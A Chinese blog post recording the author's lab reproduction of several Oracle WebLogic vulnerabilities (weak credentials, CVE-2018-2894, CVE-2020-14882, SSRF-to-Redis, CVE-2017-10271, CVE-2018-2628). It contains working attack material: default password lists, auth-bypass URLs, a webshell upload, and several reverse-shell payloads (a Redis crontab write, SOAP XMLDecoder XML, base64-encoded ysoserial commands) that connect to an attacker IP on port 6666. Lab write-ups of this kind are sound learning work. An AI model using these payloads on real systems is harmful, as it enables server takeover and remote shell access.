weblogic漏洞复现学习

weblogic漏洞复现学习

简介

WebLogic Server是Oracle公司推出的一款基于Java的应用服务器,它提供了一个稳定可靠的平台,用于开发、部署和管理企业级Java应用程序。WebLogic Server是一种大规模、高可用性和高性能的应用服务器,广泛用于企业级应用的构建和部署。

WebLogic Server作为一款广泛使用的应用服务器,存在各种类型的漏洞

接下来我复现几个vulhub上有的漏洞

漏洞复现-弱口令

image-20231204184458735

image-20231204184508671

启动环境

访问

image-20231204184629111

访问默认地址/console

image-20231204184717390

弱口令登录

常见弱口令:

system:password weblogic:weblogic admin:secruity
joe:password mary:password system:sercurity
wlcsystem: wlcsystem weblogic:Oracle@123

image-20231204184959115

成功登录到后台

任意文件上传漏洞(CVE-2018-2894)

环境搭建

image-20231204222418928

部署环境

访问/ws_utc/config.do(未授权访问)

image-20231204222625029

image-20231204230712128

将当前工作目录设置为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

该目录是存放了ws_utc应用静态css样式的目录,而该目录的访问并不需要权限

点击左侧安全

image-20231204223154315

漏洞利用

上传冰蝎马

image-20231204224054229

打开冰蝎连接

路劲为http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]

image-20231204224437701

image-20231204233044472

image-20231204233100364

复现成功

中途多踩坑

踩坑一:需要更改image-20231204233140134

踩坑二:时间戳

踩坑三:服务器环境不稳定重启多次才连接上webshell

未授权访问漏洞复现(CVE-2020-14882)

简介

Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限

影响版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0

复现

image-20231204233604670

访问环境/console

image-20231204233742945

需要登录

未授权访问1

访问:

http://124.223.45.192:7001/console/images/%252E%252E%252Fconsole.portal

可以直接绕过登录认证进入后台管理系统

image-20231204233828227

%252E%252E%252F我们url解码一下

需要二次解码

image-20231204234103487

image-20231204234133504

其实就是../console.portal目录穿越

未授权访问2

http://124.223.45.192:7001/console/css/%25%32%65%25%32%65%25%32%66console.portal

image-20231204234253149

同理一个通过/image 一个是/css

工具利用

下载地址:Release WeblogicTool_1.3.jar · KimJun1010/WeblogicTool · GitHub

image-20231204235450013

image-20231205000453545

直接执行脚本

脚本地址:GitHub - backlion/CVE-2020-14882_ALL: CVE-2020-14882_ALL综合利用工具,支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能。

image-20231205000515974

SSRF漏洞

环境搭建

靶机IP:124.223.45.192

image-20231205180037897

漏洞原理

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等

正常用户访问网站的流程是:

输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤)处理 -->返回用户响应

【网站有个请求是www.baidu,com/xxx.php?image=URL

安全的网站应接收请求后,检测请求的合法性

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据

例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址

如果存在该内网地址就会返回1xx 2xx 3xx 4xx之类的状态码,不存在就会其他的状态码

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以这个请求中的身份来访问其他服务器的资源。

Redis未授权访问

未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别,导致攻击者在没有获取到登录权限或未授权的情况下,对目标进行操作或者被信息泄露

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

复现

访问漏洞存在点http://124.223.45.192:7001/uddiexplorer

image-20231205180515370

启动yakit抓包

image-20231205181115811

可以看到POST请求下有一个operator=httpxxx

image-20231205181151114

选中url编码部分解码

image-20231205181255911

不难看出是这一段URL,改为URL测试漏洞可利用性

image-20231205181507476

image-20231205181556870

可以看到响应包中存在回显,说明存在ssrf可以利用

从SSRF利用到Redis未授权访问

伪造服务器端发送请求,修改URL,探测内网,探测端口,如果指定端口开放则会返回带有404内容的提示(404:访问资源不存在,端口服务开放)

image-20231205181802873

利用

先在服务器上找到Redis在docker容器内的IP地址

docker ps

image-20231205182423847

docker exec -it 525c7b283344 “/bin/bash”

image-20231205182523843

进入到docker

ifconfig

image-20231205182601894

192.168.32.2:6379

修改参数访问192.168.32.2:6379

image-20231205182736051

说明6379端口开放,可能存在未授权访问

从Redis未授权访问到Getshell

利用Redis未授权访问漏洞,反弹shell到攻击机终端

攻击机IP:121.5.69.117

开启监听

image-20231205182927023

test

set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/121.5.69.117/6666 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

将上面进行URL编码拼接到Redis url后面

test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-c%20sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.5.69.117%2F6666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa

image-20231205190617040

image-20231205192341196

成功浮现

CVE-2017-10271复现

漏洞信息

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。

漏洞触发位置:wls-wsat.war。

漏洞触发url:/wls-wsat/CoordinatorPortType(POST)。

漏洞本质:主要是由于wls组件使用了webservice来请求soap请求,所以通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞,可导致执行任意命令。

在weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法中,当localHeader1和localHeader2都不为null时,将会把work:WorkContext所包含的数据传入weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法。在此方法中,对WorkContextXmlInputAdapter类进行了实例化,并调用WorkContextXmlInputAdapter类的构造方法,通过XMLDecoder()进行反序列化操作。
这里的work:WorkContext是最关键的。

环境搭建

image-20231205192903940

image-20231205192922628

访问漏洞触发url

/wls-wsat/CoordinatorPortType

image-20231205193003990

抓包

image-20231205193040705

更改请求方式为POST

image-20231205193106478

插入POC

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”>
soapenv:Header
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>

        <object class="java.io.PrintWriter">
       <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
            <void method="println">
                <string>
                    <![CDATA[
                        <% out.print("test"); %>
                    ]]>
            	</string>
            </void>
            <void method="close"/>
        </object></java></java>

​ </work:WorkContext>
</soapenv:Header>
soapenv:Body/
</soapenv:Envelope>

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”>
soapenv:Header
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>




/bin/bash


-c


bash -i >& /dev/tcp/121.5.69.117/6666 0>&1





</work:WorkContext>
</soapenv:Header>
soapenv:Body/
</soapenv:Envelope>

yakit 响应包没反应

换了burp

image-20231205200135042

还是不行…

第二天重新部署环境打还是没弹上

我就用工具检测一下环境

image-20231206161842339

发现是存在的

CVE-2018-2628复现

漏洞基本情况

CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞

基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码

环境搭建

image-20231206212308057

漏洞检测

在kali终端上利用nmap

nmap -n -v -p 7001,7002 124.223.45.192 --script=weblogic-t3-info

检测到T3协议开启

image-20231208160107224

在服务器上运行

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 6666 Jdk7u21 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNS42OS4xMTcvNjY2NiAwPiYxCgoKCgoK}|{base64,-d}|{bash,-i}’

image-20231206222808937

再开一个终端运行

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 121.5.69.117:6666 | xxd -p | tr -d $‘\n’ && echo

image-20231206222940205

复制到poc.py的payload部分

image-20231208162206897

在更改poc中靶机ip

image-20231208162223431

在kali上运行

python2 weblogic_poc.py 192.168.175.129 7001 ysoserial-0.1-cve-2018-2628-all.jar

因为python2 所以就在kali上运行了

image-20231208162302235

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值